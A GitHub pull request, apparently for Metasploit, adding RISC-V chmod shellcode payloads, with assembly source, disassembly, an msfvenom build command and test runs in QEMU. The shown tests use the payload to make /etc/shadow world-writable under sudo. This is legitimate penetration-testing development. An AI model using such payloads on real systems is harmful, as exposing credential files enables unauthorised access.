Skip to content

Conversation

@bcoles
Copy link
Contributor

@bcoles bcoles commented Nov 18, 2025

Add Linux RISC-V 32-bit / 64-bit Little Endian chmod payloads.

Source

32-bit and 64-bit are identical.

chmod.s:

.global _start
.section .text

_start:
    # sys_fchmodat(int dfd, const char __user * filename, umode_t mode);
    # fchmodat(AT_FDCWD, "/tmp/test.txt", 0644, 0)
    li      a0, -100  # AT_FDCWD
    la      a1, path  # pointer to path
    li      a2, 0655  # mode
    li      a3, 0     # flags
    li      a7, 53    # __NR_fchmodat
    ecall

    li      a0, 0
    li      a7, 93    # __NR_exit
    ecall

path:
    .asciz "/tmp/test.txt"

Build

$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as chmod.s -o chmod.o && \
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld chmod.o -o chmod --nostdlib --static && \
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x chmod
$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d chmod

chmod:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078:	f9c00513          	li	a0,-100
   1007c:	00000597          	auipc	a1,0x0
   10080:	02458593          	addi	a1,a1,36 # 100a0 <path>
   10084:	1ad00613          	li	a2,429
   10088:	00000693          	li	a3,0
   1008c:	03500893          	li	a7,53
   10090:	00000073          	ecall
   10094:	00000513          	li	a0,0
   10098:	05d00893          	li	a7,93
   1009c:	00000073          	ecall

00000000000100a0 <path>:
   100a0:	706d742f          	0x706d742f
   100a4:	7365742f          	0x7365742f
   100a8:	2e74                	fld	fa3,216(a2)
   100aa:	7874                	ld	a3,240(s0)
   100ac:	0074                	addi	a3,sp,12
	...

Verification

Tested with QEMU. For other test environments, see #19518 (comment).

Generate a Linux Chmod payload (with optional NOP sled):

./msfvenom -n 100 --format elf -p linux/riscv64le/chmod FILE="/etc/shadow" MODE="0777" > chmod.elf

Execute the payload with QEMU:

$ /home/user/qemu/build/qemu-riscv64 -strace ./chmod.elf ; ls -la /etc/shadow
22001 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = -1 errno=1 (Operation not permitted)
22001 exit(0)
-rw-r----- 1 root shadow 1874 Jan 24  2025 /etc/shadow
$ sudo /home/user/qemu/build/qemu-riscv64 -strace ./chmod.elf ; ls -la /etc/shadow
[sudo] password for user: 
22006 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = 0
22006 exit(0)
-rwxrwxrwx 1 root shadow 1874 Jan 24  2025 /etc/shadow

Note the payload was executed successfully and the file permissions were changed.

@bcoles bcoles force-pushed the linux-riscv-chmod-payloads branch from 7679e08 to 5ccf219 Compare November 19, 2025 06:54
@bcoles bcoles force-pushed the linux-riscv-chmod-payloads branch from 5ccf219 to d510adb Compare November 20, 2025 14:37
@dledda-r7 dledda-r7 self-assigned this Nov 24, 2025
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ubuntu@ubuntu:~$ chmod +x chmod_64.elf 
ubuntu@ubuntu:~$ cat notreadme 
cat: notreadme: Permission denied
ubuntu@ubuntu:~$ strace ./chmod_64.elf 
execve("./chmod_64.elf", ["./chmod_64.elf"], 0x3fcf11fd50 /* 21 vars */) = 0
fchmodat(AT_FDCWD, "/home/ubuntu/notreadme", 0777) = 0
exit(0)                                 = ?
+++ exited with 0 +++
ubuntu@ubuntu:~$ cat notreadme 
oh no :(
ubuntu@ubuntu:~$ uname -a
Linux ubuntu 6.14.0-13-generic #13.2-Ubuntu SMP PREEMPT_DYNAMIC Sun Apr  6 05:26:54 UTC 2025 riscv64 riscv64 riscv64 GNU/Linux
ubuntu@ubuntu:~$ 

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

┌──(kali㉿kali)-[~/Public]
└─$ cat notreadme 
cat: notreadme: Permission denied
                                                                                                                                                      
┌──(kali㉿kali)-[~/Public]
└─$ qemu-riscv32 -strace ./chmod_32.elf 
83618 fchmodat(AT_FDCWD,"/home/kali/Public/notreadme",0777,0) = 0
83618 exit(0)
                                                                                                                                                      
┌──(kali㉿kali)-[~/Public]
└─$ cat notreadme
oh no :(
                                                                                                                                                      
┌──(kali㉿kali)-[~/Public]
└─$ 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants